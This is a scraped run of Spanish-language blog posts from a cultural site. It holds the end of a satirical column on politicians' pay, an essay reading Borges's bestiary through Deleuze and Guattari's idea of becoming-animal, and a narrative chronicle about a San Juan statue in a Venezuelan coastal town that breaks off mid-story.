  • Los servidores públicos elegidos por elección popular recibirán durante el periodo de su gestión el mismo salario que venían recibiendo en la empresa en que trabajaba (ya sea pública o privada). La empresa está obligada a darles cuatro años sabáticos y el salario será cubierto por las arcas del gobierno. Después el servidor público regresará a su trabajo diario, y como agradecimiento se le dará un aplauso, una flor blanca, y una foto de su boletín de asistencia a las plenarias junto con la medalla por buen estudiante cuando lo amerite. Y si es suficientemente juicioso se le dejará izar la bandera los lunes a las 7:00 a.m. mientras se canta el himno nacional.

Puede que legalmente, y en terminología incomprensible haga falta trabajarlo un poco. Pero para eso hay tanto dotor en este país. Pero tendremos que monitorearlos de cerca para que no metan algún gorila y que ahora no toque llamarlos dotores sino su eminencia.♦

Juan Sebastián Duque es un crítico social. Se dedica al emprendimiento tecnológico y colabora con IC desde 2014.

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Devenir lector, devenir humano, devenir animal a partir del bestiario borgesiano. http://interferencechannel.com/2015/06/09/devenir-lector-devenir-humano-devenir-animal-a-partir-del-bestiario-borgesiano-2/ Tue, 09 Jun 2015 05:13:32 +0000 http://www.interferencechannel.com/?p=979 + Read More]]> Manual de zoología Fantástica

 

Deleuze y Guatarri (1988) consideran que el Manual de Zoología fantástica de Borges y Guerrero es un libro fallido. Esencialmente porque este supone una imagen heteróclita e insulsa del mito al encontrarse allí la constatación de la oposición occidental hombre-animal, que anula la posibilidad de devenires transicionales, la posibilidad de una relación fantástica entre hombre y animal.

Por mi parte, advierto que en el Manual de Zoología fantástica (1957) hay un intento por escapar a las definiciones genéricas, tal como lo anota Borges y Guerrero en el prólogo: es una combinación azarosa de la inconmensurable tradición literaria habitada por seres sobrenaturales y bestias mágicas. Lo cual querría decir que el Manual puede ser visto como un lugar donde se expresa un arte combinatorio que opera entre lo imaginario y lo real, a través de procedimientos que superponen temporalidades textuales, es una red intertextual.

Encontramos referencias a citas de autores, recurrencias a lo onírico como los sueños de Lewis o Kafka, en fin, una combinación de bestiarios orientales y europeos donde la imaginación pura se mezcla con la erudición libresca para expresar lo imposible y lo increíble. La pregunta desde la preocupación Deleuziana por este acto fallido que supone el Manual de zoología fantástica al negar al hombre su devenir animal es, si puede realmente haber una desterritorialización mutua de animales y hombres, un devenir mutuo que se multiplique. La respuesta afirmativa a esta pregunta abriría el camino a un devenir-lector, en la medida que el ejercicio literario de Borges asombra y descentra de manera onírica las taxonomías y categorizaciones a partir de personajes intertextuales. Ese asombro que cuestiona la cosmovisión del lector que lo lleva a reelaborar los sentidos de mundo a partir de mecanismos de extrañamiento.

No considero que en el bestiario borgesiano se deje por fuera toda problematización sobre la relación animal-humano como sí lo creían Deleuze y Guattari, muchas veces lo que ocurre es que si bien la oposición no se borra sí se desequilibra. Aunque no se puede negar que sea difícil encontrar en el Manual (a diferencia de otras obras de Borges) un cuestionamiento a los límites que vaya más allá de la visión occidental que opone lo humano a lo inhumano. No obstante, sabemos que el objetivo del género fantástico es precisamente ironizar sobre el espacio fronterizo de lo real, y es a esto a lo que invita, desde la ironía, el escritor argentino por el que se vieron tan interesados Deleuze y Guattari.  Para recorrer este camino en el libro Literatura, filosofía y animalidad Miguel Ángel Méndez (2012) propone una tesis interesante a favor del bestiario borgesiano como posibilidad de desestabilizar las fronteras, tesis que expondré en líneas posteriores.

I

El animal ha sido la frontera o el límite para el hombre, porque le ha dicho a partir de una categorización a priori lo que es respondiendo a lo que no debe ser. No obstante, este hecho que pareciera naturalizado está situado históricamente en la modernidad, allí el animal ha tenido un lugar marginal, ha sido excluido convirtiéndose incluso en un objeto de estudio. Así pues, el animal viene siendo algo así como la marca para el hombre de lo que ya no es y de lo que no deseará ser. La exclusión permite dar definiciones sobre lo humano, así su objetivo no sea otro que hacer del hombre cada vez más humano y cada vez menos animal.  Ahora bien, Los análisis deleuzianos nos permiten saber que lo humano y lo animal son conceptos que están en constante construcción, esto quiere decir que las características de lo uno y de lo otro son móviles, incluso se puede afirmar que son reflejos mutuos. No son conceptos a priori separados como ha creído y reproducido buena parte de la filosofía occidental, cuyos efectos han sido una jerarquización donde el hombre se encuentra por encima del animal,  excluyéndolo y dominándolo.

Méndez, apoyándose en Deleuze, propone un reajuste de estas fronteras, que están en constante experimentación y movimiento entre lo uno y lo otro, para que sea posible a partir de lo animal pensar lo humano y no simplemente excluirlo. Esto con el objetivo de acortar las distancias entre las nociones de lo humano o lo animal, o incluso para ir más allá de la concepción a priori de estas entidades que se encuentran conectadas en un continuum donde no hay un límite claro. De manera que, lo animal para Deleuze es el medio para responder la pregunta antropológica. Esta idea de continuidad es revitalizada del pensamiento spinozista, idea que proyecta una ausencia de barrearas a partir de lo cual se pueden pensar lo(s) propios(s) de lo Animal y lo Humano.

El camino que va a recorrer Deleuze para borrar las definiciones ya acabadas, es explorar el tema de las afecciones de los cuerpos, cuya premisa es que todo cuerpo tiene la posibilidad de afectar y ser afectado. El hombre entonces no se podrá definir como un sujeto, como un “un hombre desconectado y sin vínculo alguno (…) una creación perfecta que flota fuera del alcance de toda contingencia, [como] un hombre cerrado” (Méndez. 2012 p: 48) sino que será definido a partir de lo que es capaz su cuerpo. La capacidad de afectar y ser afectado no es una actividad que pueda darse en un plano individual, necesariamente tiene que haber conexión con otros cuerpos. Porque todo cuerpo es primordialmente una hacceidad, esto es, una afección que afecta.

 Los animales responden a un mismo plan o diseño pero difieren en sus modos, grados o velocidades para afectar y ser afectados. Los animales se contienen unos a otros porque cada uno se actualiza en una forma, pero virtualmente contiene todas las formas posibles. Un huevo o una larva son cuerpos que no se han terminado de potencializar, que no tienen todavía características ni órdenes fijos, son portadores de un dinamismo para poder organizarse al ser cuerpos desorganizados y sin jerarquía alguna. “Es sabido que el huevo presenta justamente ese estado del cuerpo “antes” de la representación orgánica: ejes y vectores, gradientes, zonas, movimientos cinemáticos y tendencias dinámicas, con respecto a los cuales las formas son contingentes o accesorias”  (Deleuze, 2002: 47)

Un diseño único es lo que va a conectar las hacceidades de los animales (y de los hombres), todos los animales o están unidos o están al lado del otro y cada uno presenta una actualidad pero en el fondo cada uno contiene todas estas virtualidades; son una totalidad virtual dispuesta a muchas modificaciones “Entonces, como todo animal es un cuerpo que también se define por sus modos, es actualmente uno pero virtualmente todos, más aún como hacceidad tiene en consecuencia actualidad y virtualidad a la vez. No es que tenga la posibilidad de transformarse en otro animal a voluntad, más bien es un animal que  contiene ya a los otros animales en si” (Méndez, 2012 p: 50)

Estas formas desactualizadas no son más que Cuerpos sin Órganos (CsO). Un CsO  es una actividad que hace posibles nuevas conexiones, actualizándose de maneras no pre configuradas, para así mismo lograr conectarse con otras potencialidades de maneras inesperadas, creando reconexiones heterogéneas. Es una afección que afecta en vías de afectar, es potencialidad y virtualidad. Un Cuerpo sin Órganos es un conjunto de prácticas, no una noción o concepto, es ante todo, una experimentación activa de algo por llevar a cabo para actualizase en muchas o todas las posibilidades, no organizadas, no jerarquizadas, no tomadas en un solo cuerpo. Además está situado en un instante en el que hay una nueva configuración.

El devenir de un CsO es un lugar donde la desorganización y la virtualidad (el sujeto y el animal) pueden conectarse de maneras no medidas “El CsO (…) deja libre un camino para generar nuevas conexiones heterogéneas o agenciamientos, es aquí donde está el comienzo del devenir, en la realización de un nuevo agenciamiento excepcional que es operable gracias al CsO” (Méndez, 2012 p: 54).  Puesto que  guarda en sí también la posibilidad de ponerse en contacto con otros agenciamientos, por esto se comunica con otras actividades que se están actualizando. Un CsO hace posible disolver las organizaciones para que cambien de naturaleza las conexiones que había en un principio; la organización pasa a ser materia informe dispuesta a actualizarse de una nueva manera. “En este tenor, el CsO no distingue en sus conexiones y no escatima en ellas, es capaz de conectarse a todos los ámbitos y en todos lados, hace conexiones nada homogéneas, mejor dicho, se conecta siempre de manera heterogénea, hace agenciamientos. En estas comunicaciones se llevan a cabo “uniones monstruosas” (Méndez, 2008 p: 53)

El devenir animal comienza realizando nuevos agenciamientos en colectivo, en manada, en banda. Es inocuo suponer que un agenciamiento puede realizarse individualmente. Tiene más bien que involucrar las conexiones no para formar un yo sino para expandirse y generar nuevos agenciamientos que vuelven de nuevo a la materia informe y desorganizada. “lo importante (…) es, como dice Deleuze, mostrar que el devenir no es una imitación de dos latitudes o de dos rubros, sino que es un cambio que se hace de manera colectiva y comunicada con otro, que no son fenómenos de imitación ni de asimilación, sino de “doble captura”; los dos participando de ese agenciamiento nuevo (…) de casamientos entre dos reinos aparentemente opuestos o diferentes” (Méndez, 2012: 57).En este sentido, la hacceidad no es una cualidad exclusiva de un CoS, todo cuerpo organizado o no, es capaz de afectar y dejarse afectar con diversas velocidades, todo cuerpo es por esto una virtualidad que busca siempre conectar de maneras heterogéneas que devienen en diferentes agenciamientos. En lo real está conectado lo virtual y lo actual, respondiendo a cierta velocidad es posible que los cuerpos actualicen sus potencias, es decir que lo virtual y lo actual están en una hacceidad.

II

Borges invita a reflexionar sobre el niño descubridor que se extraña frente a la variedad del “reino animal” que se encuentra en un jardín zoológico, esto admite a primera vista una territorialización de los cuerpos, que ocurre claramente en un en un zoológico de lo real donde es evidente la oposición animal-humano. Sin embargo, en un zoológico fantástico esta territorialización no es tan evidente porque el hombre y el animal se mezclan, ampliando o desestabilizando las categorías de lo animal y de lo humano para que todo sea introducido dentro de el gran animal, el gran humano o dentro de nada (o todo) que es a lo que nos llevarían los análisis deleuzianos sobre la animalidad.

En Borges vemos una intención, aunque no tan clara, por desorganizar los cuerpos quitándoles su carácter a priori, para generar nuevas conexiones actualizándose a diferentes niveles y velocidades.  En el Manual… es posible encontrar una movilidad de las formas, pero no es claro si una vez conformados estos nuevos cuerpos es posible desorganizarlos de nuevo. Esto se soluciona cuando ponemos a estos seres ficcionales en el nivel de una hacceidad que estarían en la en capacidad de generar nuevos agenciamientos y que a su vez estarían conectados con diferentes hacceidades. De esta manera es que pierden el sujeto y el animal la necesidad de concebirse a priori y se abre  una posibilidad para las conexiones desde un devenir animal o un devenir humano.

 Al colocar al sujeto al rango de una hacceidad capaz de generar nuevas conexiones nunca antes consideradas, este pierde toda necesidad de percibirse a priori e inconexo de las demás hacceidades, lo que se vuelve una oportunidad para que estas entren en contacto, y además, para que lleven su cuerpo a una materia intensa no formada si pretenden producir un nuevo agenciamiento (Méndez, 2012: 56)

Todo animal es en sí una manada, el acercamiento del hombre al animal comienza con la multiplicidad, no sólo el sujeto está abierto a crear nuevas conexiones, sino que el animal también se abre a la multiplicidad, a los agenciamientos y hacceidades. De manera que son las multiplicidades heterogéneas donde el hombre puede realizar sus devenires animales.

Ahora bien, Deleuze ve en el bestiario borgesiano el problema de no lograr realizar el devenir humano porque allí no hay, según él, conexiones múltiples sino que Borges  se limita a juntar  diferencias. Méndez propone dejar de lado los reparos de Deleuze respecto de la obra de Borges para intentar transferir sus reflexiones sobre lo animal al bestiario borgesiano. Esto consistiría, en acercarse al animal desde una perspectiva diferente. Para empezar, debemos preguntarnos qué significa un monstruo para Borges es “una combinación de elementos de seres reales y que las posibilidades del arte combinatorio lidian con lo infinito (Borges, 2008: 8), es un animal peculiar, anómalo como un individuo excepcional de la manada, tal como lo define Deleuze. La anomalía lo que propone es una conexión nueva porque no tiene forma, porque no está organizada, propone nuevas velocidades y nuevas afecciones; lo anómalo es un signo del devenir. Aunque lo anómalo visto así, sea algo que se escape de las intenciones del bestiario borgesiano, Méndez señala que esto no es impedimento para verlo como una seña del devenir  “Cada monstruo es una anomalía creativa de la que pueden proceder nuevas conexiones, como en un CsO, o bien inesperados agenciamientos como en un libro nuevo” (Méndez 2012: 62) un monstruo es el modelo de un cuerpo sin órganos. En este orden de ideas, en el Manual es posible encontrar formas desactualizadas y virtualidades dispuestas a potencializarse, cuerpos al fin y al cabo sin organización. Tal vez Borges esté en el nivel de lo informe, lo cual da posibilidad a cuerpos antes de su representación orgánica, que  son simplemente cuerpos sin forma o sin organización, cuerpos que gracias a su virtual dinamismo tienen movimiento y diferentes velocidades. Y es en este punto donde tiene sentido la pregunta de Méndez “¿Por qué no decir que la supuesta monstruosidad del CsO es el primer contacto con el devenir-animal y que ahí radica la importancia para ambos? (Méndez, 2012:54) Un lobo entonces  es, por ejemplo un lugar de agenciamiento, donde es posible hacer conexiones monstruosas.

III

Aunque Deleuze no lo menciona, pienso en el efecto que tiene esta manera de hacer literatura para construir un devenir lector que sea a su vez un devenir humano, lo que permitiría acercar a través de los animales de ficción al hombre y al animal. Establecer una relación nueva sabiendo siempre que somos virtualidades constantes y actualidades siempre desactualizadas.

La lectura, pues, como un devenir lector -devenir animal de lo humano-  que es potencializado gracias a un devenir escritor, quien propone nuevos agenciamientos conectando cosas que no parecen tener nada en común,  pero que son y pueden ser de otra manera, porque no tienen una forma ni una organización acabada. “Entonces una forma de comenzar este nuevo acercamiento al hombre y al animal es pensándolos, antes, como cuerpos. Así, todo cuerpo es una afección que afecta, aún más, todo cuerpo cuenta con estos elementos afectivos y ninguno escapa a ellos, lo que nos lleva a percibir que en realidad, todos los cuerpos mantienen vínculos con otros, de manera que ninguno permanece excluido de estas conexiones” (Méndez, 2012:48).

Un libro entonces, es un agenciamiento que se dirige a un cuerpo sin órganos, al lector quien también es una virtualidad constante que busca ser actualizada y des-actualizada por medio de la literatura (fantástica). La pregunta vendría a ser hasta qué punto permite la literatura borgesiana estos nuevos agenciamientos entre el lector y el libro, es decir, un devenir lector ya no únicamente un devenir escritor   “Nunca hay que preguntar qué quiere un libro, (…) no hay nada que comprender, tan solo hay que preguntarse con qué funciona, en conexión con qué hace pasar o no intensidades, en qué multiplicidades introduce, (…) con qué cuerpos sin órganos hace converger el suyo”. Y por otro lado, qué relación es posible establecer entre lo humano y lo animal a partir de los animales de ficción, precisamente por esta re categorización móvil de lo humano y lo animal cuyo proyecto está implícito en el Manual de zoología fantástica.

Aunque Deleuze considere que Borges no logra realizar el devenir escritor porque El Manual es mitología insulsa y además, pretende resolver los problemas de la nada porque no logra hacer conexiones múltiples a diferentes velocidades sino que se dedica a juntar diferencias. Considero que poco peso tiene la intención del escritor o si hay o no un devenir escritor, porque la literatura borgesiana permite por lo menos un devenir lector, que es a su vez un devenir animal de lo humano.

No encontramos en El Manual de zoología fantástica una manera concreta de definir lo humano, aunque constantemente se le atribuyen características humanas a los animales fantásticos no es algo totalmente definitivo, porque así como vemos que hay animales horrorosos también los hay armónicos. Tampoco hay definiciones muy concretas de lo animal; por este motivo en Borges podemos encontrar una desterritorialización de lo animal y lo humano, esto es, un devenir mutuo que se multiplica, se bifurca. Este extrañamiento al que se enfrenta el lector rompe toda taxonomía previa acerca de la naturaleza,  con lo cual es posible empezar a ver el animal de otra manera. “Tanto animales como hombres tienen una conexión y además son partícipes, cada uno por su parte, de una forma única de cohabitar en el mundo, de contemplarlo, de modificarlo, cada uno de ellos se orienta y se sitúa en el mundo por medio de significaciones que le llevan a interpretar el entorno para poder habituarse a él de forma única” (Méndez, 2012: 47)  Los animales fantásticos y los reales están en el mismo nivel para producir el mismo efecto de cómo podemos ver la relación animal-humano.  Aunque no sea importante llegar ni siquiera a una nueva definición de lo uno y de lo otro, siempre estará presente el umbral de la relación que es risomático, que no se resuelve en sentido dialéctico, que no llega a ninguna síntesis. Justamente esto es lo que saca de la represión a la virtualidad constante que somos todos los cuerpos como hacceidades gracias a la literatura de ficción.

La literatura propone un modelo, a menudo tan horrendo como el de la historia pero siempre más perfecto porque es imaginario y tiene, por su naturaleza ficcional, la capacidad de establecer un desvío irónico o paródico respecto de la experiencia. Frente al desorden de los hechos, la invención responde no con un espejo del mundo sino con una idea del mundo: avanza apartándose de la empiria. Beatriz Sarlo, Borges, un escritor en las orillas♦.

 

BIBLIOGRAFIA

  1. —BORGES, Jorge Luis y GUERRERO, MARGARITA (1999): Manual de zoología fantástica (1ª ed. 1957), México: Fondo de Cultura Económica.
  1. Ángel Méndez, Miguel. Un acercamiento al animal del bestiario borgesiano a partir de las consideraciones de Gilles Deleuze. En Filosofía, literatura y animalidad. Universidad Autónoma del Estado de México, 2012.

Foto Simoné

 

Simoné Gil es estudiante de Filosofía de la universidad de los Andes con gran interés en el lenguaje corporal y escrito.  Nueva escritora para IC desde junio de 2015.

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Cuando Crisóstomo Pacheco vio a San Juan Bautista bajar el dedo. http://interferencechannel.com/2015/03/06/cuando-crisostomo-pacheco-vio-a-san-juan-bautista-bajar-el-dedo/ Fri, 06 Mar 2015 19:43:51 +0000 http://www.interferencechannel.com/?p=750 + Read More]]> La gente del sur del estado Aragua, cuando no quiere hacer algo o simplemente asume que algo es imposible, dice que eso pasará cuando “San Juan Agache el dedo”, la primera vez que oí tal cosa me sorprendió la crudeza de la expresión, casualmente por esos días fui con mi familia de paseo a la población de San Juan de Los Morros, una capital fundada por los caprichos de un dictador del siglo XX  y que a fuerza de costumbre todos terminaron por aceptar, allí existe un San Juan descomunal, como de 15 metros de alto, con aureola de santo, su cayado en la mano izquierda y la derecha extendida hacia el cielo con dedo índice también desplegado en la misma dirección, como señalando algo que nadie ve, pero que en su cualidad de santo tiene acceso.

Años después, haciendo las veces de fotógrafo documental recorrí la costa de mi estado, muy al norte de esa estatua que nombré, donde cada año (dicen ellos) celebran el cumpleaños de ese santo, quien se asume como quien bautizó a Jesús, una de las cosas que me sorprendieron es que la imagen venerada en esas costas es la de un niño, cuando pregunté la razón a un par de viejos de la zona, entre tragos y risas me dijeron que San Juan debía ser niño pues un día como ese estaba naciendo.

Ese niño tenía la misma pose del adulto pero mejor vestido pues en esas zonas es tradición que las señoras cambien de ropa la imagen varias veces durante el mes completo que dura el ritual, además que eso tiene carácter religioso pues las vestiduras usualmente son confeccionadas por promesas que se la hacen al santo niño.

En uno de esos viajes, en otra población vi con asombro que la imagen del santo señalaba hacia el piso  no hacia el cielo como era tradición, como la prudencia señala no pregunté nada esa noche, pero unos meses después comencé a investigar las razones de eso, le pregunté a varios antropólogos amigos,  a colegas profesores de historia y hasta gente de mi ciudad que es devota del santo, todos me dieron muchas hipótesis, unas que apestaban a cuento para salir del paso, otras tan enrevesadas que difícilmente podían ser aceptables y las menos muy simples como “eso es la tradición” o “Quien sabe”, ninguna me satisfizo.

Así que en la primera oportunidad que tuve me fui a ese pueblo a investigar, llegue un sábado por la tarde, en esa pausa que existe en los pueblos costeros, donde todos los lugareños están a la expectativa para cuando los turistas vuelvan de las playas, nadie te hace caso. Busqué una modesta posada, descansé y salí a dar una vuelta por ahí.

Me metí en la iglesia y hablé con el sacerdote, curiosamente un hombre joven de menos de cuarenta años, quien exhibía unas ojeras profundas y el talante de quien está pasando la resaca, estaba sentado en el jardín trasero del templo, desde donde me hizo señas para que me acercase, me saludó de manera desconfiada, poniendo cierta distancia, yo hice lo mismo más por costumbre que por otra cosa. Nos presentamos y comencé a contarle mi historia, el padre Ernesto (así se llama) se disculpó por la acogida tan hosca, me comentó que la noche anterior había estado en un cumpleaños de la esposa del padre de una amiga, en la montaña, por eso la estampa de náufrago recién salido del mar.

De la iglesia salimos a tomarnos unas cervezas que en este caribe son la cura perfecta para la resaca, el me indicó un sitio de confianza, al llegar me di cuenta que su estatus religioso no le impedía tener amigotes, en el bar todos lo saludaron como Ernesto, a secas, sin el adjetivo de “padre” me presentó como su gran amigo de la capital, por más que le aclarase en privado que no era así, me contó más tarde que era una estrategia para impresionar a los lugareños y así lograr que me contasen el asunto de la imagen del santo pues es un secreto muy bien guardado por la gente de allí vive, quienes piensan, con razón, que si lo cuentan a todo el mundo van a tomarlos por ingenuos creedores de cualquier bobera, sobre todo en estos tiempos de  “certezas científicas amparadas por smartphones e internet”.

A la quinta cerveza ya conocía a todo el bar, a la décima ya era amigo de toda la vida del cura y a la numero quince hasta sabia el nombre de la concubina del cura y los parroquianos me trataban como uno más, me invitaron a jugar “bolas criollas” solo para burlarse de mí, y termine por reírme de mi torpeza, agradecí no haberme llevado mi cámara pues entre tragos seguramente la hubiese perdido o dañado, así llegamos a la media noche entre risas y coplas, me presentaron infinidad de muchachas de la zona pero en mi lamentable estado de ebriedad difícilmente había espacio para cortejos de verano.

Al final de la noche algún amigo de esos nuevos se condolió de mi orfandad de borracho ilustrado y me invitó una parrillada de carne que dicen era de vacuno, sin embargo tenía una sospechosa coloración y un sabor algo acre que me recordaba lo que mi viejo decía sobre la carne de burro, miradas esquivas y sonrisas maléficas me lo confirmaron, sin embargo el mismo recuerdo además de una natural tendencia a la discreción me “obligaron” a comerme el plato entero y con ello recobre la lucidez necesaria.

Todo el bar celebró la “hazaña” del recién llegado, otra ronda de cervezas, algo de baile y más conversa me volvieron a poner a tono, allí me presentaron al profesor Cristóbal Pacheco , hombre bien entrado en la cincuentena cuyo tono de piel lo ubicaba más en Senegal que en este pueblo latinoamericano, me abordó pronto y con cierta brusquedad, le comenté no sin antes presentarme como colega de profesión, él se sonrió con una dentadura que a fuerza de contraste encandilaba la mirada debido a lo blanco de los dientes  lo morado de sus encías.

Resulta que el hombre era maestro de primaria, estudió en la misma universidad que yo pero egresó con una especialidad diferente veintitantos años antes, era originario del pueblo adonde ejercía ya desde que estudiaba, por tanto aceptó una temprana jubilación y hoy día se dedica a recopilar la historia del pueblo y sus habitantes, me contó que Ernesto era su compañero de parrandas y que le contó lo que me llevaba al pueblo, por eso me abordó, quedamos citados para el día siguiente, el invitaba la sopa para espantar la resaca que de seguro me atacaría al amanecer.

Con mi capacidad etílica sobrepasada me retiré al hotel escoltado por varios de los parroquianos y el cura quienes tenían el mismo rumbo, me invitaron a visitar unas mujeres en un baile de tambor, me disculpé tambaleándome y viendo una muchedumbre entre los cuatro acompañantes, señal inequívoca de una borrachera mítica que de no encerrarme pronto a dormir amenazaba por terminar en algún lupanar secreto y como me conozco preferí dormir hasta que la resaca me despertase.

Tal como profeticé en medio de la borrachera,  a la mañana siguiente me despertó una jaqueca inclemente, desayuné tres pastillas con café cerrero rogando que la gastritis no asomase su cabeza, ya a las ocho de la mañana hacían más de 30 grados a la sombra por lo que me refugié en el aire acondicionado de mi habitación de alquiler a pasar la cruda, me volví a dormir, en un tiempo que me pareció muy breve sentí unos golpes en mi puerta, era el maestro Pacheco quien me esperó en el bar y al no verme intuyó que me había quedado dormido, le pedí que me esperase, me di una ducha, encendí un cigarrillo y salí a buscarlo, el traía en una cava pequeña unas cervezas frías que me reanimaron, salimos a comer.

Una vez que terminé mi sopa, me dijo que había pensado bastante en la pregunta que le hice la noche anterior, temprano había ido a visitar a su abuelo quien ya contaba poco más de ciento diez años pero que se mantenía muy lúcido para su edad y había accedido a entrevistarse conmigo esa misma tarde, el profesor me recomendó que le llevase de regalo al abuelo una botella de wiski que era lo que su edad y condición le permitía beber.

Fuimos a la licorería del pueblo adonde, no sin cierto dolor, desembolsé el equivalente a mi quincena de profesor en una botella para el anciano, con la esperanza de que tal inversión fuese realmente productiva, mientras hacía eso  Cristóbal buscaba su carro para llegar a tiempo a la cita.

El anciano resultó habitante de la selva, vivía encaramado en una montaña, el camino a su casa era de tierra, rodamos más de media hora por un camino enmontado que iba subiendo una cuesta, al llegar dejamos el carro y caminamos otros diez minutos por una escalera hecha con piedras del rio, en un recodo nos tropezamos con una cerca de alambre desde donde mi nuevo amigo gritó un nombre de mujer, desde una casa de bahareque medio escondida en el follaje salió una voz femenina con tono de anciano pidiendo que abriésemos y entrásemos, que ya salía.  Estaba prendiéndoles una vela a los santos como cada domingo, que por favor esperáramos un momento que ya salía, mientras salía la señora,  me contó que la voz pertenecía a una tía que se vino a vivir con el abuelo cuando se quedó viuda.

Salió la señora, aparentaba cuando menos setenta años y dijo ser la hija menor del abuelo Crisóstomo Pacheco, pasamos a una casa humilde pero moderna, para sorpresa mía en un rincón había una computadora con conexión a internet satelital, un televisor con señal de cable donde (me contaron) solo veían las telenovelas mexicanas pues “las de ahora no sirven para nada”, ante el comentario me mordí los labios para no reírme pues en mi opinión las telenovelas es más saludable no-verlas.

En lo que Cristóbal preguntó por el abuelo, la señora le comentó que andaba de paseo por la montaña, que debía bajar en un rato, mientras ella nos brindaba un café que en vista de mi estado se recibió con real agradecimiento.

Mientras tía y sobrino hablaban esas cosas sin sentido que solo entienden quienes se tienen  confianza filial, me perdí en mis pensamientos, intentando buscar la fórmula para preguntar lo que quería saber sin herir susceptibilidades y haciéndome la idea de intentar no ver con mi acostumbrada mordacidad las creencias de la gente, sobre todo la de quienes viven en los pueblos que a fuerza de aislarse en sus propias costumbres se desconectan de lo que los citadinos nos empeñamos en llamar realidad, solo para no caer deprimidos ante nuestra insignificancia con respecto a lo inmenso de este universo, cuya imagen pareciera burlarse de nuestra ignorancia disfrazada de sabiduría académica.

Tres cafés después apareció el abuelo, tez negra, cabellos y luenga barbas blancos, paso firme que desmentía lo que su edad reclamaba para sí, bendijo al nieto y volteo la mirada con unos ojos negros como la noche, analizándome sin recato, groseramente podría decirse, como solo hacen los viejos inteligentes, esos que se saben más allá de cualquier crítica, nos presentamos con un firme apretón de manos, el adusto ceño del anciano se suavizó con una sonrisa al ver el regalo que le traía.

Nos invitó al jardín trasero donde había una suerte de sala de estar pero en descampado, aprovechando el tiempo fresco de la tarde de montaña, nos sentamos y el anciano pidió a su hija vasos y hielo para el licor, mientras eso sucedía se puso al día con el nieto sobre las noticias recientes, luego centró su atención en mí, me peguntó que hacía, si estaba casado, de que vivía, si tenía hijos y si estos estaban conmigo, a todo le respondí con sinceridad a lo que el viejo se sonrió con picardía y me tocó reconocer mi gusto extravagante por las mujeres y mi esfuerzo conciente por resistirme a lios excesivos con las faldas volátiles de estos tiempos.

Servimos cuatro tragos en sendos vasos, el cuarto trago se lo llevó la señora que estaba esperando para ver la novela mexicana de la seis de la tarde, mientras servía generosamente el licor nos comentaba que la muchacha de la telenovela ya había descubierto que era adoptada y en la cárcel donde estaba por culpa de su rival por el amor del galán se había enterado, que el capítulo de hoy era crucial pues Sebastián Marcelo Pontevedra de Sotomayor (el galán) iba a visitar a su verdadero amor que se llama estrellita del campo y eso no me lo voy a perder, entonces discúlpenme pero me llevo un trago porque me tiene emocionada la novela y este wisky me caería bien, a mi edad una no puede andar con emociones fuertes.

El abuelo regañó cariñosamente a la señora y volvimos a la conversación, le dije sin preámbulos lo que había venido a investigar y que su nieto tan amablemente me propuso venir a preguntárselo.

El viejo se acomodó en su silla, tomó un sorbo del licor, encendió un tabaco barato, de los que venden en cualquier bodega y nos invitó a encender nuestros cigarrillos, él decía que si la edad no lo había matado ya era hora de hacer lo que le diera en gana.

Comenzó por hablar de su origen aseguraba ser hijo de un antiguo soldado de quien él llamaba su “Taita” el General Páez, su abuelo había servido a otro taita de nombre también famoso pero más temible como lo era Boves, ya para fines del siglo XIX, siendo apenas un niño, su padre, huyéndole a la peste que presupuso haber sido soldado en esa época, cuando otro general mandaba, se llevó a su mamá de la casa natal, allá en La Victoria por caminos de montaña y a lomo de mula, sin más equipaje que un machete y algunos utensilios de cocina aparte claro de un atado de ropa, llegaron primero a la casa de un general que se retiró a la costa a pasar sus últimos años entre cacao y cocos, no era sitio de vacaciones (como hoy día) sino más bien de trabajo. Este general les regaló ese terreno donde están, eso fue hace más de cien años, yo era un muchachito flaco y lleno de lombrices que pasaba el día jugando en los cacaotales sin que nadie supiera a ciencia cierta donde andaba.

Para ese entonces no existía la electricidad, tampoco sabíamos que el país estaba en guerra, nos enteramos de su fin cuando, una mañana cualquiera, al volver de la escuela a traerle un mandado a mi mamá, estaba mi papá reunido con unos hombres harapientos que decían haber escapado de la batalla de la Victoria donde unos andinos sellaban su poder, decían que los que no pudieron escapar fueron fusilados por unos hombres de hablar extraño, comandados por un general bajito de aspecto aindiado que después se enteraron se apedillaba Castro, secundado por otro menos hablador pero más temido llamado Juan Vicente Gómez.

Uno de los hombres era compadre de mi viejo y le dejó como encargo que por favor le cuidase al hijo pues su madre había muerto en el camino, como entenderá él no podía criar al muchacho escapando de las balas andinas, decía que buscaba la manera de escapar hasta Trinidad donde se decía había un grupo de militares con intenciones de invadir el país para expulsar a los andinos. Mi viejo me descubrió escondido escuchando la conversa, me regaño y enseguida vino mi mamá para mandarme afuera pues la conversación de los mayores no es para muchachos.

Me devolví al monte a jugar, al caer la tarde volví a la casa y los hombres ya se habían ido junto con papá, mi mamá me dijo que habían ido a la casa del general a consultarle, vi al muchacho, tenía mi edad pero parecía de menos debido a lo flaco, se llamaba Francisco García  aunque todos le decíamos Pancho, como mis hermanos mayores ya andaban de novios con unas negritas de por acá, no tenía con quien jugar, así que se volvió mi compañero de juegos.

Para esa época ya celebraban la fiesta de San Juan y los Diablos salían con su fuete el día del Corpus Christi golpeando a quien se atravesara en su camino, ese año como cada tantos el día del Corpus cayó el mismo de San Juan, mi mamá se vistió de domingo junto a toda la familia, fuimos a misa, lo único malo de esas fiestas eran unos zapatos de charol que me mataban, además del traje que ya me quedaba pequeño, pero mis viejos exigían ir a misa a toda la familia, luego entendí que era la ocasión para encontrarse con los vecinos y hacerse ver por el mítico general que ya ni salía de su casa, al salir de misa mi mamá se fue con unas amigas y mi padre al botiquín a conversar con los otros hombres a beber e intentar cambiar el mundo desde el patio de bolas criollas, mientras en las calles ya los diablos andaban sueltos con sus trajes llenos de campanas, maracas y sus bailes raros, el pueblo estaba dividido entre los santos y los diablos, todo se volvió confuso entre cohetes, tambores, cuatros y maracas.

Nosotros éramos apenas unos mozos de doce años que andábamos tras cualquier falda que nos mirase, pero en vista de nuestra estampa tampoco es que conquistásemos nada, alguien dejó una botella de Ron olvidada en un banco de la plaza, Pancho y yo la escondimos, nos fuimos a la orilla de rio a fumar y a bebernos el tesoro olvidado por algún vecino que de seguro no extrañará, como nadie se quiso anotar nos fuimos en silencio, eran otros tiempos, los viejos de seguro no se inquietarían, como dijimos que íbamos a volver a la casa a la media noche, para encontrar a los viejos dormidos y que no se enteraran de nuestra borrachera juvenil.

